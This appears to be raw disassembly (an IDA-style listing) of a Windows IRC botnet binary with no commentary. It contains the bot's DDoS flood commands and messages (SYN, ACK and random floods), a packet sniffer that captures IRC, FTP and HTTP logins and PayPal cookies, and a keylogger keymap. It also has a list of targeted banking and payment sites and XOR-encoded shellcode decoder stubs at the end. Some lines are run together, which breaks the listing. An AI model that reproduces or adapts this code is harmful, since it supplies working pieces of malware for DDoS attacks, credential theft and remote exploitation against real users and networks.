unk_423068	db    2			; DATA XREF: sub_4010B2+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
					; sub_40F6F1+2767o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
					; sub_40F6F1+2750o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
					; sub_40F6F1+2739o
		align 4
unk_4230BC	db    2			; DATA XREF: sub_401447+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42311C	db    2			; DATA XREF: sub_401447+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42317C	db    2			; DATA XREF: sub_401447+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4231AC	db    2			; DATA XREF: sub_401447+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_4231F4	db    2			; DATA XREF: sub_401447+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_40182E+48o
		align 10h
dword_423260	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D1+48o
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_423298	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A6D+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4232C4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_423324	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D79+312o
					; sub_40F6F1+2D3Do ...
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D79+2F2o
					; sub_40F6F1+2D26o
aSyn		db 'syn',0              ; DATA XREF: sub_401D79+2D2o
					; sub_40F6F1+2D0Eo
dword_423394	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4233C4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_42340C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
aEGold		db 'e-gold',0           ; DATA XREF: sub_4022BD+13o
		align 4
		dd 1Eh dup(0)
aPaypal_1	db 'PayPal',0
		align 4
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aVodafone	db 'Vodafone',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
aEbay		db 'eBay',0
		align 4
		dd 1Eh dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 636E6142h, 65532061h, 616C6Ch, 1Dh dup(0)
aEmail		db 'Email',0
		align 4
		dd 1Eh dup(0)
aBankOfAmerica	db 'Bank Of America',0
		dd 1Ch dup(0)
aExploit	db 'exploit',0
		dd 1Eh dup(0)
aBenvenutoAGmai	db 'Benvenuto a gmail',0
		align 4
		dd 1Bh dup(0)
		dd 6E734Dh, 1Fh	dup(0)
aPagamento	db 'pagamento',0
		align 4
		dd 1Dh dup(0)
aPaga		db 'paga',0
		align 4
		dd 1Eh dup(0)
dword_423BD0	dd 8		dword_423BD4	dd 62h,	62000000h, 2 dup(0)		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_424304	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_42433C	dd 7325h						; sub_402E92+221o ...
dword_424340	dd 28207325h, 297325h					; sub_40BDAD+EBo
dword_424348	dd 2BBBB02h, 20732520h,	2ABAB02h, 65522820h, 6E727574h
					; DATA XREF: sub_402368+3FAo
		dd 25282029h, 2973h
dword_424364	dd 2BBBB02h, 20732520h,	2ABAB02h, 65522820h, 6E727574h
					; DATA XREF: sub_402368+3D9o
		dd 29h
dword_42437C	dd 2BBBB02h, 20732520h,	2ABAB02haBufferFullS	db ' (Buffer full) (%s)',0
dword_42439C	dd 2BBBB02h, 20732520h,	2ABAB02h, 75422820h, 72656666h
					; DATA XREF: sub_402368+382o
		dd 6C756620h, 296Ch
dword_4243B8	dd 2BBBB02h, 20732520h,	2ABAB02haChangedWindows	db ' (Changed Windows: %s)',0
		align 4
dword_4243DC	dd 2BBBB02h, 20732520h,	2ABAB02h, 0					; sub_402368+223o
dword_4243EC	dd 0BBBB0220h, 73252002h, 0ABAB0220h, 2002h, 0off_424400	dd offset off_424C78	; DATA XREF: sub_402822+29Er
		dd offset off_424C74
		dd offset off_424C70
		dd offset aHttp		; "HTTP"
dword_424410	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_424424	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:0042440Co
		align 10h
off_424C70	dd offset word_505446	; DATA XREF: ___:00424408o
off_424C74	dd offset byte_435249	; DATA XREF: ___:00424404o
off_424C78	dd offset word_544F42	; DATA XREF: ___:off_424400o
unk_424C7C	db    2			; DATA XREF: sub_402822+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 10h
unk_424CC0	db    2			; DATA XREF: sub_402822+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff_0	db '[PSNIFF]',0         ; DATA XREF: sub_402822+235o
		align 10h
unk_424D10	db    2			; DATA XREF: sub_402822+186o
					; sub_402E92+144o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_424D58	db    2			; DATA XREF: sub_402822+103o
					; sub_402E92+C5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_424D9C	db    2			; DATA XREF: sub_402822+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aHashin		db ':!hashin',0         ; DATA XREF: sub_402B92+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_402B92+EEo
		align 4
aIdent		db ':!ident',0          ; DATA XREF: sub_402B92+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_402B92+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_402B92+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_402B92+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_402B92+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_402B92+84o
a366		db '366 ',0             ; DATA XREF: sub_402B92+73o
		align 10h
a302		db '302 ',0             ; DATA XREF: sub_402B92:loc_402BF4o
		align 4
aJoin		db 'JOIN #',0           ; DATA XREF: sub_402B92+4Do
		align 10h
aPsniff_1	db 'PSNIFF//',0         ; DATA XREF: sub_402B92+3Co
		align 4
aPsniff_2	db '[PSNIFF]:',0        ; DATA XREF: sub_402B92+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_402B92+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_402CA9+62o
aOper		db 'oper ',0            ; DATA XREF: sub_402CA9+51o
		align 4
aNick_0		db 'NICK ',0            ; DATA XREF: sub_402CA9:loc_402CE9o
					; sub_402D1F+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_402CA9+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_402CA9+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_402D1F+73o
		align 4
aUser_2		db 'USER ',0            ; DATA XREF: sub_402D1F+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_402D1F:loc_402D70o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_402D1F+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_402D1F+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_402DA6+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_402DA6+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_402DA6+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_402DA6:loc_402DE6o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_402DA6+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_402DA6+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_402E2D+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_402E2D:loc_402E6Do
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_402E2D+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_402E2D+5o
		align 4
unk_424F4C	db    2			; DATA XREF: sub_402E92+3E5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aVulnSniffSDToS	db 'VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 10h
unk_424F90	db    2			; DATA XREF: sub_402E92+37Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aHttpSniffSDToS	db 'HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_424FD4	db    2			; DATA XREF: sub_402E92+34Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFtpSniffSDToSD	db 'FTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_425018	db    2			; DATA XREF: sub_402E92+314o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aIrcSniffSDToSD	db 'IRC sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
dword_42505C	dd 7A026E02h, 201F6D1Fh, 696E7328h, 702E6666h, 671F6C1Fh
					; DATA XREF: sub_402E92+2DBo
		dd 0BB022029h, 202002BBh, 20746F42h, 66696E73h,	25222066h
		dd 64253A73h, 6F742022h, 73252220h, 2264253Ah, 202D203Ah
		dd 22732522h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_4250B2

; =============== S U B	R O U T	I N E =======================================



sub_4250A2	proc far		; CODE XREF: sub_4250A2:loc_4250B2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4250AA:				; CODE XREF: sub_4250A2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4250AA
		jmp	short loc_4250B7
; ---------------------------------------------------------------------------


loc_4250B2:				; CODE XREF: ___:004250A0j
		call	near ptr sub_4250A2


loc_4250B7:				; CODE XREF: sub_4250A2+Ej
		jo	short loc_42511B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_425139
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_42511B:				; CODE XREF: sub_4250A2:loc_4250B7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_425139:				; CODE XREF: sub_4250A2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4250A2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4251E0:				; DATA XREF: sub_4033C9+150o
					; sub_4033C9+20Do
		jmp	short loc_4251F2

; =============== S U B	R O U T	I N E =======================================



sub_4251E2	proc near		; CODE XREF: sub_4251E2:loc_4251F2p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4251EA:				; CODE XREF: sub_4251E2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4251EA
		jmp	short loc_4251F7
; ---------------------------------------------------------------------------


loc_4251F2:				; CODE XREF: ___:loc_4251E0j
		call	sub_4251E2


loc_4251F7:				; CODE XREF: sub_4251E2+Ej
		jo	short near ptr dword_425170+1Eh
		cwde
		cdq
		cdq
		retn
sub_4251E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
